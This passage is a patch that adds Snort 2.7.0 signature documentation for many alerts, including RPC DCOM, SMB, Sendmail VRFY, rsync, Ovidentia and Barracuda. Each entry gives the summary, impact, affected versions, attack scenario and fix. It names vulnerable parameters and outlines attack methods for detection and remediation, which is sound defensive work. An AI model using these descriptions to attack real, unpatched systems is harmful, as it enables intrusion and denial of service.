+--
+Sid:
+100000686
+
+--
+Summary:
+This event is generated when an empty CTCP NOTICE message is sent to an IRC 
+channel.
+
+--
+Impact:
+If the EnergyMech IRC Bot receives such a message, a denial of service 
+condition will occur.
+
+--
+Detailed Information:
+Whenever the EnergyMech IRC Bot processes a null CTCP NOTICE message, a denial 
+of service condition occurs. Note that this rule is set to examine only default 
+IRC ports, in order to conserve system resources; if you are particularly 
+concerned about this exploit, you may wish to set the ports to "any", as IRC 
+channels can exist on any port.
+
+--
+Affected Systems:
+EnergyMech <= 3.0.1
+
+--
+Attack Scenarios:
+An attacker could exploit this vulnerability via any IRC client, or by using an 
+automated script.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Upgrade to version 3.0.2 or greater.
+
+--
+Contributors:
+VeriSign MSS Operations Team
+Joel Esler <joel.esler@sourcefire.com>
+
+--
+Additional References:
+http://www.energymech.net/versions-3.0.html
+
+--
--- snort-2.7.0.orig/doc/signatures/672.txt
+++ snort-2.7.0/doc/signatures/672.txt
@@ -0,0 +1,56 @@
+Rule:
+
+--
+Sid:
+672
+
+--
+Summary:
+This event is generated when a remote user attempts to scan for a vulnerability in the VRFY command on internal SMTP servers.
+
+--
+Impact:
+Information gathering, possibly leading to a future attack and system compromise. 
+
+--
+Detailed Information:
+If the decode alias on the Sendmail server is enabled, an attacker may be able to send messages to the decode alias email address, creating or overwriting files on the server. Vulnerability scanners use the "vrfy decode" command to verify that a decode alias is enabled.
+
+--
+Affected Systems:
+Systems running Sendmail.
+
+--
+Attack Scenarios:
+An attacker scans the server to determine that the decode alias exists. The attacker then sends an email address to the decode alias on the server, with directives to overwrite or create files on the server. 
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Disable the decode alias by commenting out the "decode |/usr/bin/uudecode" line in your Sendmail aliases file.
+
+--
+Contributors:
+Original rule written by Max Vision <vision@whitehats.com>
+Modified by Brian Caswell <bmc@sourcefire.com>
+Sourcefire Research Team
+Sourcefire Technical Publications Team
+Jen Harvey <jennifer.harvey@sourcefire.com>
+
+--
+Additional References:
+CVE
+http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-1999-0096
+
+--
--- snort-2.7.0.orig/doc/signatures/100000787.txt
+++ snort-2.7.0/doc/signatures/100000787.txt
@@ -0,0 +1,56 @@
+
+
+Rule:
+
+--
+Sid:
+100000787
+--
+Summary:
+This event is generated when an attempt is made to exploit a cross site scripting vulnerability in the "ATutor" application running on a webserver.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized administrative access to the server or application. Possible execution of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to exploit a cross site scripting vulnerability via the "submit" parameter in the "fix_content.php" script used by the "ATutor" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also be possible for an attacker to retrieve sensitive data, execute system binaries or malicious code of the attackers choosing.
+
+--
+Affected Systems:
+All systems running CGI applications using ATutor
+--
+Attack Scenarios:
+An attacker can supply a malicious link designed to steal information from a user clicking on that link.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+--
+Additional References:
+
+The Cross Site Scripting (XSS) FAQ
+http://www.cgisecurity.com/articles/xss-faq.shtml
+
+--
+
--- snort-2.7.0.orig/doc/signatures/1736.txt
+++ snort-2.7.0/doc/signatures/1736.txt
@@ -0,0 +1,69 @@
+Rule:
+
+--
+Sid:
+1736
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability in a PHP web application running on a server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server or application. Possible execution
+of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to gain unauthorized
+access to a PHP application running ona web server. Some applications do
+not perform stringent checks when validating the credentials of a client
+host connecting to the services offered on a host server. This can lead
+to unauthorized access and possibly escalated privileges to that of the
+administrator. Data stored on the machine can be compromised and trust
+relationships between the victim server and other hosts can be exploited by the attacker.
+
+If stringent input checks are not performed by the PHP application, it
+may also be possible for an attacker to execute system binaries or
+malicious code of the attackers choosing.
+
+--
+Affected Systems:
+	All systems running PHP applications
+
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her
+own credentials to gain access. Alternatively the attacker can exploit
+weaknesses to gain access as the administrator by supplying input of
+their choosing to the underlying PHP script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.7.0.orig/doc/signatures/3360.txt
+++ snort-2.7.0/doc/signatures/3360.txt
@@ -0,0 +1,70 @@
+Rule:
+
+--
+Sid:
+3360
+
+--
+Summary:
+This rule generates an event when an attempt is made to exploit a known 
+vulnerability in Microsoft RPC DCOM.
+
+--
+Impact:
+Execution of arbitrary code leading to full administrator access of the 
+machine. Denial of Service (DoS).
+
+--
+Detailed Information:
+A vulnerability exists in Microsoft RPC DCOM such that execution of 
+arbitrary code or a Denial of Service condition can be issued against a 
+host by sending malformed data via RPC.
+
+The Distributed Component Object Model (DCOM) handles DCOM requests sent
+by clients to a server using RPC. A malformed request to an RPC port 
+will result in a buffer overflow condition that will present the 
+attacker with the opportunity to execute arbitrary code with the 
+privileges of the local system account.
+
+--
+Affected Systems:
+	Windows NT 4.0
+	Windows NT 4.0 Terminal Server Edition
+	Windows 2000
+	Windows XP
+	Windows Server 2003
+
+--
+Attack Scenarios:
+An attacker may make a request for a file with an overly long filename 
+via a network share.
+
+--
+Ease of Attack:
+Simple. Expoit code exists.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches.
+
+Block access to RPC ports 135, 139 and 445 for both TCP and UDP 
+protocols from external sources using a packet filtering firewall.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.7.0.orig/doc/signatures/1716.txt
+++ snort-2.7.0/doc/signatures/1716.txt
@@ -0,0 +1,69 @@
+Rule:
+
+--
+Sid:
+1716
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability in a CGI web application running on a server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server or application. Possible execution
+of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to gain unauthorized
+access to a CGI application running ona web server. Some applications do
+not perform stringent checks when validating the credentials of a client
+host connecting to the services offered on a host server. This can lead
+to unauthorized access and possibly escalated privileges to that of the
+administrator. Data stored on the machine can be compromised and trust
+relationships between the victim server and other hosts can be exploited by the attacker.
+
+If stringent input checks are not performed by the CGI application, it
+may also be possible for an attacker to execute system binaries or
+malicious code of the attackers choosing.
+
+--
+Affected Systems:
+	All systems running CGI applications
+
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her
+own credentials to gain access. Alternatively the attacker can exploit
+weaknesses to gain access as the administrator by supplying input of
+their choosing to the underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.7.0.orig/doc/signatures/419.txt
+++ snort-2.7.0/doc/signatures/419.txt
@@ -0,0 +1,62 @@
+Rule:
+
+--
+
+Sid:
+419
+
+--
+
+Summary:
+This event is generated when a network host generates an ICMP Mobile Host Redirect datagram.
+
+--
+
+Impact:
+ICMP Mobile Host Redirect Messages alert base-stations to the movements of IP based mobile hosts, such as notebooks and palmtop computers.
+
+--
+
+Detailed Information:
+The Transparent Internet Routing for IP Mobile Hosts IETF draft defines ICMP Type 32 Code 0 as an ICMP Mobile Host Redirect Message.  This message was intended to be used by mobile computers to inform base-stations of their location on the network as they move from base-station to base-station.  
+
+This IETF draft was never ratified, and no hardware is known to exist that generates this type of ICMP datagram
+
+--
+
+Attack Scenarios:
+None known
+
+--
+
+Ease of Attack:
+Numerous tools and scripts can generate this type of ICMP datagram.
+
+--
+
+False Positives:
+None known
+
+--
+
+False Negatives:
+None known
+--
+
+Corrective Action:
+ICMP Type 32 datagrams are not normal network activity.  Hosts generating these types of datagrams should be investigated for nefarious activity
+
+--
+
+Contributors:
+Original rule writer unknown
+Sourcefire Research Team
+Matthew Watchinski (matt.watchinski@sourcefire.com)
+
+--
+
+Additional References:
+None
+
+
+--
--- snort-2.7.0.orig/doc/signatures/928.txt
+++ snort-2.7.0/doc/signatures/928.txt
@@ -0,0 +1,60 @@
+Rule:
+
+--
+Sid:
+928
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability in a ColdFusion web server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server or application. Possible execution
+of arbitrary code of the attackers choosing in some cases. Denial of
+Service is possible.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to compromise a host
+running Coldfusion. Many known vulnerabilities exist for this platform and 
+the attack scenarios are legion.
+
+--
+Affected Systems:
+	All systems running ColdFusion
+
+--
+Attack Scenarios:
+Many attack vectors are possible from simple directory traversal to
+exploitation of buffer overflow conditions.
+
+--
+Ease of Attack:
+Simple. Many exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.7.0.orig/doc/signatures/2299.txt
+++ snort-2.7.0/doc/signatures/2299.txt
@@ -0,0 +1,65 @@
+Rule:
+
+--
+Sid:
+2299
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability in the PHP web application Proxy2.de Advanced Poll 2.0.2
+running on a server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server or application. Possible execution
+of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt may have been made to exploit a
+known vulnerability in the PHP application Proxy2.de Advanced Poll
+2.0.2. This application does not perform stringent checks when handling
+user input, this may lead to the attacker being able to execute PHP
+code, include php files and possibly retrieve sensitive files from the
+server running the application.
+
+--
+Affected Systems:
+	All systems running Proxy2.de Advanced Poll 2.0.2
+
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her
+own credentials to gain access. Alternatively the attacker can exploit
+weaknesses to gain access as the administrator by supplying input of
+their choosing to the underlying PHP script.
+
+--
+Ease of Attack:
+Simple. No exploit code is required.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.7.0.orig/doc/signatures/3006.txt
+++ snort-2.7.0/doc/signatures/3006.txt
@@ -0,0 +1,62 @@
+Rule:
+
+--
+Sid:
+3006
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a
+vulnerability in Freespace 2.
+
+--
+Impact:
+A successful attack may present an attacker with the opportunity to
+execute arbitrary code on a vulnerable system.
+
+--
+Detailed Information:
+A vulnerability exists in in Freespace 2 that may allow an attacker to
+execute code of their choosing on a vulnerable system.
+
+The problem lies in the handling of data by the client application when
+processing server responses. Proper checks are not performed by the
+client application and large amounts of data in a server response may
+trigger a buffer overflow condition to occur, thus presenting the
+attacker with the opportunity to execute code.
+
+--
+Affected Systems:
+	Freespace 2
+
+--
+Attack Scenarios:
+An attacker may supply a large amount of data containing code of their
+choosing in a server response to client requests.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Upgrade to the latest non-affected version of the software.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Matt Watchinski <mwatchinski@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.7.0.orig/doc/signatures/262.txt
+++ snort-2.7.0/doc/signatures/262.txt
@@ -0,0 +1,58 @@
+Rule:
+
+--
+Sid:
+262
+
+--
+Summary:
+This event is generated when spurious DNS traffic is detected on the network. 
+
+--
+Impact:
+Ranges from harmless to severe.  A successful corrupted DNS IP and name pairing can range from harmless (if the IP is not used) to severe (if a user is misdirected to a hostile host).
+
+--
+Detailed Information:
+This event indicates that abnormal DNS traffic has been detected. The implications are varied and careful investigation of the source and destination should be undertaken.
+
+This may be the result of an improperly configured DNS server or it may be an indication that an attack against the DNS server is underway.
+
+--
+Affected Systems:
+Any DNS server.
+
+--
+Attack Scenarios:
+An attacker can spoof a DNS response to misrepresent an IP to host/name pairing.  The forged host name can direct a user to a potentially hostile host.
+
+--
+Ease of Attack:
+Simple to Difficult depending on the DNS implementation.
+
+--
+False Positives:
+None Known.
+
+--
+False Negatives:
+None Known.
+
+--
+Corrective Action:
+Consider using DNSSEC where appropriate.
+
+Keep all DNS software up to date and correctly configured.
+
+--
+Contributors:
+Original rule writer unknown
+Sourcefire Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+Judy Novak <judy.novak@sourcefire.com>
+
+--
+Additional References:
+
+
+--
--- snort-2.7.0.orig/doc/signatures/1064.txt
+++ snort-2.7.0/doc/signatures/1064.txt
@@ -0,0 +1,71 @@
+Rule:
+
+--
+Sid:
+1064
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability on a web server or a web application resident on a web
+server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server. Possible execution of arbitrary code of 
+the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to compromise a host
+running a Web server or a vulnerable application on a web server.
+
+Many known vulnerabilities exist for each implementation and the 
+attack scenarios are legion.
+
+Some applications do not perform stringent checks when validating the
+credentials of a client host connecting to the services offered on a
+host server. This can lead to unauthorized access and possibly escalated
+privileges to that of the administrator. Data stored on the machine can
+be compromised and trust relationships between the victim server and 
+other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+	All systems using a web server.
+
+--
+Attack Scenarios:
+Many attack vectors are possible from simple directory traversal to
+exploitation of buffer overflow conditions.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+Check the host logfiles and application logs for signs of compromise.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.7.0.orig/doc/signatures/2827.txt
+++ snort-2.7.0/doc/signatures/2827.txt
@@ -0,0 +1,69 @@
+Rule: 
+
+--
+Sid: 
+2827
+
+-- 
+Summary: 
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database server.
+
+-- 
+Impact: 
+Serious. Possible execution of arbitrary code and Denial of Service.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database implementation. Multiple buffer
+overflow conditions are present in numerous packages and procedures.
+
+Exploitation of these vulnerable procedures may allow an attacker to
+execute code of their choosing as the user running the database. In the
+case of databases running on Microsoft Windows platforms, this is the
+Local System account which may mean a compromise of the operating system
+as well as the database.
+
+This event indicates that an attempt has been made to exploit a
+vulnerability in the procedure alter_master_repobject
+. This procedure is included in
+sys.dbms_repcat_mas.
+
+--
+Affected Systems:
+	Oracle Oracle9i
+
+--
+Attack Scenarios: 
+If an attacker can supply enough data to the procedure in question, it
+may be possible to cause the overflow condition to occur and present the
+attacker with the opportunity to execute code of their choosing.
+
+-- 
+Ease of Attack: 
+Simple.
+
+-- 
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+-- 
+Corrective Action: 
+Apply the appropriate vendor supplied patch
+
+--
+Contributors: 
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Alex Kirk <alex.kirk@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.7.0.orig/doc/signatures/100000148.txt
+++ snort-2.7.0/doc/signatures/100000148.txt
@@ -0,0 +1,60 @@
+Rule: 
+
+--
+Sid: 
+100000148
+
+-- 
+Summary: 
+This event is generated when an attempt is made to perform a directory 
+traversal attack against a system running Barracuda Spam Firewall.
+
+-- 
+Impact: 
+Serious. Unauthorized remote command execution possibly leading to remote 
+access.
+
+--
+Detailed Information:
+User supplied data to script parameters are not properly sanitized, this may 
+permit an unauthorized attacker to execute commands of their choosing on an 
+affected system.
+
+Note:
+In order to utilize this rule, port 8000 must be added to the http_inspect 
+configuration in snort.conf.
+
+--
+Affected Systems:
+Barracuda Spam Firewall 3.1.17 and prior.
+
+--
+Attack Scenarios: 
+An attacker can supply commands as parameters to the img.pl script.
+
+-- 
+Ease of Attack: 
+Simple, exploit software exists but is not necessary.
+
+-- 
+False Positives:
+None known.
+
+--
+False Negatives:
+None known
+
+-- 
+Corrective Action: 
+Upgrade to the latest non-affected version of the software.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Judy Novak <judy.novak@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.7.0.orig/doc/signatures/3138.txt
+++ snort-2.7.0/doc/signatures/3138.txt
@@ -0,0 +1,77 @@
+Rule: 
+
+--
+Sid: 
+3138
+
+-- 
+Summary: 
+This event is generated when an attempt is made to exploit a known
+vulnerability in Microsoft systems using Server Message Block (SMB).
+
+-- 
+Impact: 
+Serious. Execution of arbitrary code leading to unauthorized
+administrative access to the target host. Denial of Service (DoS) is
+also possible.
+
+--
+Detailed Information:
+SMB is a client - server protocol used in sharing resources such as
+files, printers, ports, named pipes and other things, between machines
+on a network.
+
+A vulnerability in the Microsoft implementation of SMB exists due to a
+programming error which may present an attacker with the opportunity to
+exploit the service and run code of their choosing on an affected
+system. The attacker may then cause a DoS condition in the service or
+possibly gain unauthorized access to the target host.
+
+A malicious attacker can exploit the vulnerability by sending a
+malicious response from a server in response to a client request using
+SMB.
+
+--
+Affected Systems:
+	Microsoft Windows 2003
+	Microsoft Windows 2000
+	Microsoft Windows XP
+
+--
+Attack Scenarios: 
+An attacker can supply extra data in the message from the server
+containing code of their choosing to be run on the client.
+
+-- 
+Ease of Attack: 
+Simple.
+
+-- 
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+-- 
+Corrective Action: 
+Apply the appropriate vendor supplied patches.
+
+Turn off windows file and print services.
+
+Use Samba as an alternative.
+
+--
+Contributors: 
+Sourcefire Vulnerability Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+eEye:
+http://www.eeye.com/html/research/advisories/AD20050208.html
+
+--
--- snort-2.7.0.orig/doc/signatures/3349.txt
+++ snort-2.7.0/doc/signatures/3349.txt
@@ -0,0 +1,70 @@
+Rule:
+
+--
+Sid:
+3349
+
+--
+Summary:
+This rule generates an event when an attempt is made to exploit a known 
+vulnerability in Microsoft RPC DCOM.
+
+--
+Impact:
+Execution of arbitrary code leading to full administrator access of the 
+machine. Denial of Service (DoS).
+
+--
+Detailed Information:
+A vulnerability exists in Microsoft RPC DCOM such that execution of 
+arbitrary code or a Denial of Service condition can be issued against a 
+host by sending malformed data via RPC.
+
+The Distributed Component Object Model (DCOM) handles DCOM requests sent
+by clients to a server using RPC. A malformed request to an RPC port 
+will result in a buffer overflow condition that will present the 
+attacker with the opportunity to execute arbitrary code with the 
+privileges of the local system account.
+
+--
+Affected Systems:
+	Windows NT 4.0
+	Windows NT 4.0 Terminal Server Edition
+	Windows 2000
+	Windows XP
+	Windows Server 2003
+
+--
+Attack Scenarios:
+An attacker may make a request for a file with an overly long filename 
+via a network share.
+
+--
+Ease of Attack:
+Simple. Expoit code exists.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches.
+
+Block access to RPC ports 135, 139 and 445 for both TCP and UDP 
+protocols from external sources using a packet filtering firewall.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.7.0.orig/doc/signatures/2561.txt
+++ snort-2.7.0/doc/signatures/2561.txt
@@ -0,0 +1,67 @@
+Rule:
+
+--
+Sid:
+2561
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a vulnerability
+associated with rsync.
+
+--
+Impact:
+A successful attack may allow files to be existing files to be overwritten
+or new files created on the rsync server.
+
+--
+Detailed Information:
+rsync is used to remote copy files.  A command line option "--backup-dir"
+can be used to specify a directory where backup files are to be placed.
+There is no validation of the argument supplied to this option to scrutinize
+it for proper formatting.  A malicious user can try to overwrite existing
+files or create new ones on a vulnerable host by supplying a value to
+"--backup-dir" that is relative to the root directory.
+
+--
+Affected Systems:
+Many Unix and Linux distributions running rsync.
+See http://www.securityfocus.com/bid/10247 for affected operating systems.
+
+--
+Attack Scenarios:
+An attacker can send a rsync command supplying the -backup-dir option
+with a path relative to the root file system, overwriting or creating
+new files on the vulnerable host.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Upgrade to the latest non-affected version of the software.
+Run the rsync server in a chroot environment.
+
+--
+Contributors:
+Sourcefire Research Team
+Judy Novak <judy.novak@sourcefire.com>
+--
+Additional References
+
+CVE:
+http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-0426
+
+Bugtraq:
+http://www.securityfocus.com/bid/10247
+
+--
--- snort-2.7.0.orig/doc/signatures/100000402.txt
+++ snort-2.7.0/doc/signatures/100000402.txt
@@ -0,0 +1,58 @@
+
+
+Rule:
+
+--
+Sid:
+100000402
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a remote file include vulnerability in the "Ovidentia" application running on a webserver. Access to the file "event.php" using a remote file being passed as the "babInstallPath" parameter may indicate that an exploitation attempt has been attempted. 
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized administrative access to the server or application. Possible execution of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to include a file from a remote machine via the "babInstallPath" parameter in the "event.php" script used by the "Ovidentia" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also be possible for an attacker to execute system binaries or malicious code of the attackers choosing.
+
+This event is generated when an attempt is made to gain unauthorized access to a CGI application running ona web server. Some applications do not perform stringent checks when validating the credentials of a client host connecting to the services offered on a host server. This can lead to unauthorized access and possibly escalated privileges to that of the administrator. Data stored on the machine can be compromised and trust relationships between the victim server and other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+All systems running CGI applications using Ovidentia
+
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her own credentials to gain access. Alternatively the attacker can exploit weaknesses to gain access as the administrator by supplying input of their choosing to the underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
+
--- snort-2.7.0.orig/doc/signatures/861.txt
+++ snort-2.7.0/doc/signatures/861.txt
@@ -0,0 +1,69 @@
+Rule:
+
+--
+Sid:
+861
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability in a CGI web application running on a server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server or application. Possible execution
+of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to gain unauthorized
+access to a CGI application running ona web server. Some applications do
+not perform stringent checks when validating the credentials of a client
+host connecting to the services offered on a host server. This can lead
+to unauthorized access and possibly escalated privileges to that of the
+administrator. Data stored on the machine can be compromised and trust
+relationships between the victim server and other hosts can be exploited by the attacker.
+
+If stringent input checks are not performed by the CGI application, it
+may also be possible for an attacker to execute system binaries or
+malicious code of the attackers choosing.
+
+--
+Affected Systems:
+	All systems running CGI applications
+
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her
+own credentials to gain access. Alternatively the attacker can exploit
+weaknesses to gain access as the administrator by supplying input of
+their choosing to the underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.7.0.orig/doc/signatures/1507.txt
+++ snort-2.7.0/doc/signatures/1507.txt
@@ -0,0 +1,69 @@
+Rule:
+
+--
+Sid:
+1507
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability in a CGI web application running on a server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server or application. Possible execution
+of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to gain unauthorized
+access to a CGI application running ona web server. Some applications do
+not perform stringent checks when validating the credentials of a client
+host connecting to the services offered on a host server. This can lead
+to unauthorized access and possibly escalated privileges to that of the
+administrator. Data stored on the machine can be compromised and trust
+relationships between the victim server and other hosts can be exploited by the attacker.
+
+If stringent input checks are not performed by the CGI application, it
+may also be possible for an attacker to execute system binaries or
+malicious code of the attackers choosing.
+
+--
+Affected Systems:
+	All systems running CGI applications
+
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her
+own credentials to gain access. Alternatively the attacker can exploit
+weaknesses to gain access as the administrator by supplying input of
+their choosing to the underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.7.0.orig/doc/signatures/2993.txt
+++ snort-2.7.0/doc/signatures/2993.txt
@@ -0,0 +1,66 @@
+Rule:
+
+--
+Sid:
+2993
+
+--
+Summary:
+This event is generated when an attempt is made to shutdown a Windows
+system via SMB. 
+
+--
+Impact:
+Serious.
+
+--
+Detailed Information:
+This event indicates that an attempt was made to shutdown a Windows
+system via SMB across the network.
+
+It may be possible for an attacker to manipulate a Windows system
+from a remote location. Shutting down a system may lead to a Denial of
+Service for the target host.
+
+--
+Affected Systems:
+	Microsoft Windows systems.
+
+--
+Attack Scenarios:
+An attacker may be able to manipulate a target system using SMB. The
+attacker may gain complete control over the affected system.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None Known.
+
+--
+Corrective Action:
+Check the host for signs of system compromise.
+
+Turn off file and print sharing on the target host.
+
+Use a packet filtering firewall to disallow SMB access to the host from
+sources external to the protected network.
+
+Disallow remote registry manipulation.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.7.0.orig/doc/signatures/1576.txt
+++ snort-2.7.0/doc/signatures/1576.txt
@@ -0,0 +1,71 @@
+Rule:
+
+--
+Sid:
+1576
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability on a web server or a web application resident on a web
+server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server. Possible execution of arbitrary code of 
+the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to compromise a host
+running a Web server or a vulnerable application on a web server.
+
+Many known vulnerabilities exist for each implementation and the 
+attack scenarios are legion.
+
+Some applications do not perform stringent checks when validating the
+credentials of a client host connecting to the services offered on a
+host server. This can lead to unauthorized access and possibly escalated
+privileges to that of the administrator. Data stored on the machine can
